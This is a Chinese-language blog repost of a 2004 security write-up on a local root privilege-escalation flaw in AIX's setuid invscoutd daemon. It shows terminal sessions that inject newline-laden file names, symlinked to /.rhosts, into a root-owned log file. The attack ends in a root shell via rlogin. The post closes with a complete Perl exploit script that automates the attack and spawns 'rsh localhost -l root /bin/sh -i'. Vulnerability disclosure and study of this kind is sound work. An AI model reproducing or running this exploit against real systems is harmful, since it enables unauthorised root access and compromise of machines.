| « | November 2025 | » | | 日 | 一 | 二 | 三 | 四 | 五 | 六 | | | | | | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | | | | | | | |
| 公告 |
|
数据仓库&数据挖掘
对某一件事需要坚持方能真正完成这件事
薛 峰
2009.02.03 |
| Blog信息 |
|
blog名称:数据仓库与数据挖掘 日志总数:85 评论数量:14 留言数量:0 访问次数:727300 建立时间:2005年3月17日 |

| |
|
[综合]AIX捉虫记之__invscoutd 文章收藏, 网上资源
薛 峰 发表于 2005/12/31 11:06:00 |
|
推荐原创
500)this.width=500'> Foxmail 5远程缓冲区溢出漏洞500)this.width=500'> 国内网络安全风险评估市场与技术操作500)this.width=500'> SMB的NTLM认证过程与NTLM挑战的编程实现500)this.width=500'> WINDOWS NT/2000 密码到散列的实现算法500)this.width=500'> 一种新的File Stream Overflows(FSO)
AIX捉虫记之__invscoutd创建时间:2004-06-04文章属性:原创文章提交:watercloud (watercloud_at_xfocus.org)AIX捉虫记 之invscoutd本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),整理了一下加了点注释,和有兴趣的朋友分享 :)[ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]时间:2003-5-3日天气:晴,万里无云的天空飘着几朵小小的白云今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令等都有了,今天继续……平台信息:-bash-2.05b$ oslevel5.1.0.0-bash-2.05b$ oslevel -r5100-01按八字排列今天应该考查invscoutd命令了-bash-2.05b$ ls -l /usr/sbin/invscoutd-r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd | +------考查理由? 需要么?谁叫他带了这个s位!首先了解一下这个命令是哪个道上混的~-bash-2.05b$man invscoutd …………The invscoutd command implements a permanent Inventory Scout server daemon onone machine in a user's local network. The usual client is a Java applet runningin the user's Web browser, which was downloaded from a central Inventory ScoutCGI application.…………赖着性子看完,瞌睡ing ...再来看看这个命令的长相:-bash-2.05b$ invscoutd invscoutd: Missing log file name.Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@USAGE: invscoutd [options] logfile <-- 还写日志文件的说。logfile Append status and err msgs. '-' means write to stderr.-o Overwrite preexisting log file instead of append. <-- 还可以覆盖已有文件的说~-pN Change port number to N from default 808. <-- 默认监听在808端口-bN Change read buffer size to N from default 1024.-dN Change max logic db file size to N from default 50000.-tN Change timeout period to N seconds from default 30 seconds.-vN Change verbosity level to N from default 18, <--支持交互级别,级别越高记录信息应该越详细 25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,就先考查一下他的这个日志文件吧 ~~~-bash-2.05b$ ls -l /tmp/bbls: 0653-341 The file /tmp/bb does not exist.-bash-2.05b$ invscoutd /tmp/bb Inventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb-bash-2.05b$ ls -l /tmp/bb-rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb哇噻~~,权限果然有问题!!日志文件是root所有的说!!睡意全无,立刻就清醒了!有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的-bash-2.05b$ iduid=203(cloud) gid=1(staff)看来没错,是个漏洞,那我能利用这个漏洞做什么呢??想想……至少可以把系统重要配置文件破坏掉吧,哈哈……再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),我们可以用这个漏洞创建这个文件,要是之前执行一次umask 000创建的文件我们就有修改权限了 ^_^这样我们就可以任意改写文件内容了,如:/.rhosts中加一行 + +可惜r系列服务使用.rhosts时会对文件属性进行检查:如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件把自己变为root了吗?赶紧来看看日志文件里写了什么内容:-bash-2.05b$ cat /tmp/bb2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.02003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.02003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb里面好像就flog=/tmp/bb和输入有关。再试试,看这个问题能不能重现.-bash-2.05b$ invscoutd ./aaInventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Exit code 2, pid 536968056.看来还得先杀掉老的进程才能再试。-bash-2.05b$ ps -ef |grep invs cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs-bash-2.05b$ kill -9 15526看看刚才出错记录到log文件了没?-bash-2.05b$ ls -l ./aals: 0653-341 The file ./aa does not exist.没有的说。我再试试,我非要重现一次才放心.-bash-2.05b$ invscoutd ./aaInventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=15526 flog=./aa-bash-2.05b$ ls -l ./aals: 0653-341 The file ./aa does not exist.咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。这次学乖了,先杀掉进程。-bash-2.05b$ ps -ef |grep invsc cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa-bash-2.05b$ kill -9 17028…………经测试,果然能重现,放心了~~想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,都必须要能完整的控制一行写入文件的内容,日志中能控制的是: flog=输入文件名部分,那面文件名中带换行符就可以控制一行的内容了,如:aaaa\n完整的一行\naaaa这种形似的文件名。想了就做.但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,刚好以前学的perl派上了用场 ^_*用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",看看能不能产生一个单独的一行记录内容+ +-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'Inventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb+ +ddd-bash-2.05b$ cat /tmp/bbbbb*2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.02003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.02003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.02003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.02003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb+ +ddd嘿嘿,可以的说!!-bash-2.05b$ ls -l /tmp/bbbbb*-rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb+ +ddd那我们如何写"\n+ +\n"内容到/.rhosts呢?想想……再想想……呵呵,我想到了,你想到了吗?再给你5分钟,好好想想~~如果直接执行invscoutd /.rhosts肯定不行,里面不会有我们期望的+ +行。如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'向log文件写入+ +成功,但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件,再想想…………归纳一下,问题核心是想把A文件名写入B文件中,Unix下的符号链接好像就是这个桥梁耶~我们建立一个A -> B的符号连接不就行了!ln -s B A然后invscoutd A应该就成了。开始行动:-bash-2.05b$ ls -l /.rhostsls: 0653-341 The file /.rhosts does not exist.建立A -> B的符号链接:-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'这里B是"/.rhosts"A是"/tmp/cc\n+ +\ndd"-bash-2.05b$ ls -l /tmp/cc*lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc+ +dd -> /.rhosts来,执行之-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'Inventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Exit code 2, pid 536968072.-bash-2.05b$ ps -ef |grep invsc cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc-bash-2.05b$ kill -9 16282-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'Inventory Scout Version 1.3.0.0Logic Database Version 1.3.0.0Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17150 flog=/tmp/cc+ +dd看看文件生成了没有:-bash-2.05b$ ls -l /.rhosts-rw-r--r-- 1 root staff 598 May 03 04:03 /.rhostsok,来继续看看内容:-bash-2.05b$ cat /.rhosts2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.02003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.02003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.02003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.02003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17150 flog=/tmp/cc+ +dd呵呵+ +写进去了!!!来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了:-bash-2.05b$ rlogin -l root localhostusage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]faint ! 一高兴起来就连命令格式都给忘了 :(再来:-bash-2.05b$ rlogin localhost -l root******************************************************************************** ** ** Welcome to AIX Version 5.1! ** ** ** Please see the README file in /usr/lpp/bos for information pertinent to ** this release of the AIX Operating System. ** ** ********************************************************************************…………-bash-2.05b# <--好爽的特权"#"提示附耶!-bash-2.05b# iduid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)哈哈哈~~搞定啦~~偶麻雀变root啦~~学了这么多年的Unix知识终于没白学呀~~热泪盈框ing ……继续感动ing……◎!#◎%¥#%,还在陶醉~~! ! !好啦~好啦~自恋狂!该干活啦~~简单清理战场~-bash-2.05b# rm /.rhosts-bash-2.05b# rm /tmp/bb* /tmp/cc*-bash-2.05b# ps -ef |grep invsc cloud 14306 15338 1 04:05:51 pts/0 0:00 grep invsc cloud 17150 1 0 04:03:48 - 0:00 invscoutd /tmp/cc?+ +?dd-bash-2.05b# kill -9 17150-bash-2.05b#还看呀?!已经拉下帷幕了,都是后台操作了!^_^================================ 后记 ===============================这个漏洞在Aix4.x上也存在,去年一个罗马IBM的工程师给我讲高版本的invscoutd系统 没有这个安全bug了,但最近我重装了一个5.1 update到2004-5月出的ML06后还是有这个问题,比较奇怪 :-(最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl#!/usr/bin/perl# FileName: x_invscoutd.pl# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.# Tested : on Aix4.3.3 & Aix5.1. # Some high version of invscoutd is not affected.# Author : watercloud@nsfocus.com# watercloud@xfocus.org # Date : 2003-5-29# Announce: use as your owner risk!$LOG="/tmp/.ex/.hello\n+ +\nworld";$CMD="/usr/sbin/invscoutd";umask 022;mkdir "/tmp/.ex",0777;print "Exploit error on kill process invscoutd !!" ,exit 1 if &killproc() == 0;symlink "/.rhosts",$LOG;system $CMD,"-p7321",$LOG; &killproc();unlink $LOG;print "\n============\nRemember to remove /.rhosts !!\n";print "rsh localhost -l root '/bin/sh -i'\n";print "waiting . . . . . .\n";system "rsh","localhost","-l","root","/bin/sh -i";system $CMD,"-p808","/dev/null" ; &killproc();rmdir "/tmp/.ex";sub killproc() { $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`; @proc_lst=split; $ret=kill 9,$proc_lst[1] if $proc_lst[1]; $ret=-1 if ! defined $ret; return $ret;}#EOF=============================================================Game Over !祝大家6.1快乐 :) watercloud 2004-6-1 ========================原文发表在:nsfocus第48期月刊:http://www.nsfocus.net/index.php?act=magazine&do=view&mid=2201后贴于xfocus Unix hacking版: https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=37203两个版本稍有不同。
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved |
|
|